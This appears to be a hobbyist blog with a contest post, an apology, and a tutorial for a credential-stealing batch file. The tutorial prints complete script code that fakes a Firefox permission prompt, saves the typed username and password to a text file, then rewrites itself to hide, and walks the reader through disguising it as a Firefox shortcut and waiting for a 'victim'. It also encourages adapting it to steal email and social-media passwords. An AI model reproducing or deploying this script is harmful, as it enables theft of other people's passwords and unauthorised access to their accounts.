ASCII contest

Hey everyone!

What it is:
For this contest, I would like everyone to send me an ASCII art (AKA text art) design.
If you're not sure what this is, an example can be downloaded at the bottom of this post or on the downloads page. I would copy and paste it, but it is too large, and the formatting gets messed up.

What i want:
I will accept all entries, even if you haven't created it, but you must provide the source of where you got it if it's not yours. I will personally sort through the entries, and pick my favorite.

What you get:
If i pick your piece of ASCII art, i will do one tutorial, review, or post of your choice, within reason.

Good luck!

My Apologies

Sorry for the wait everyone!
I had a surgery done recently so I haven't been doing much in the way of sitting at a computer. I'm still looking through the photos that were sent to me, but I promise to have the results soon!

How to write a simple file for getting someones computer password

Alright, so what this file does is prompts the user for their computer username and password. Of course you'd think "Why would they give it to you anyways?". But what we're doing is making it look like it's part of the application, which in this case, is Firefox. It then saves the data, and removes itself from the computer. 
Alright, let's get started!

Note: If you would like to download the file instead of copy and pasting the code, you can download it here: MozillaFirefox.bat.
Once you have downloaded this file, skip to step 5.

Step 1:
Go to the start menu>all applications>accessories>notepad
Notepad is a simple text editor, it doesn't have any auto correct, so it's really good for scripting, but you have to make sure everything's spelled right or the code won't work.

Step 2:
Copy and paste this code into the notepad window. (I'll explain it's function in the last step.)

@echo off
color 0a
echo ==================================
echo The application "Firefox" needs
echo special permission to run the
echo startup process. We will only ask
echo you for this information once.
echo Please enter your username and 
echo password here:
echo =================================
pause
cls
echo =========
echo Username:
echo =========
set /p user=
cls
echo =========
echo Password:
echo =========
set /p pass=
cls
echo ==================
echo Thank you, Firefox
echo will start shortly
echo ==================
pause
echo user: %user% pass: %pass% > userpass.txt
start firefox.exe
echo start firefox.exe > MozillaFirefox.bat
exit

Step 3:
Click File>save as.
Name the file MozillaFirefox.bat
NOTE THAT THERE IS NO SPACES, this is crucial.
Make sure to click save as type all files.





Step 4:
You should end up with something like this on your desktop.





Step 5:
Go to start>My Computer now, you want to click on the icon that says Local disk (c:).
Once there, create a new folder called "secret" minus the quotes. This is where the file will be saving the username and password.

Step 6:
Drag and drop MozillaFirefox.bat from your desktop into your new folder.

Step 7: 
Right click MozillaFirefox.bat, and choose create shortcut. once you have the shortcut, drag and drop it to your desktop, and rename it Mozilla Firefox, this time with spaces.
You should end up with something like this:

Step 8:
Right click the shortcut, and click "change icon" shown here:

Step 9:
You will get prompted with a little message box telling you that there are no icons in this directory. after that, a window will pop up with a area to type in a directory path, and some icons. what you want to do, is paste this path in the area highlighted red: "C:\Program Files\Mozilla Firefox\firefox.exe" again, minus the quotes.
 After that, choose the top or bottom icon, they're both the same.

Step 10:
Leave the shortcut on the desktop, and wait for your victim to use Firefox. The Username and Password will get saved in a file called cool.txt in your secret folder. If you have experience with batch, feel free to tweak the file to get other info, such as email or social networking passwords. After you get the info, you can  leave the file on the desktop, and it will serve the same purpose as the original Firefox shortcut, it will launch Firefox. This is because i wrote the file so that as soon as it gets the info, it saves it, and also rewrites MozillaFirefox.bat so that it launches Firefox instead of asking for info again. In effect, it self destructs. The only flaw with this method of launching Firefox (although it does mean you don't have to change things on this persons computer anymore) is that a small black window flashes for a minuscule period of time before Firefox launches.

Have fun with this, also i'm not responsible for anything  you do with this file.
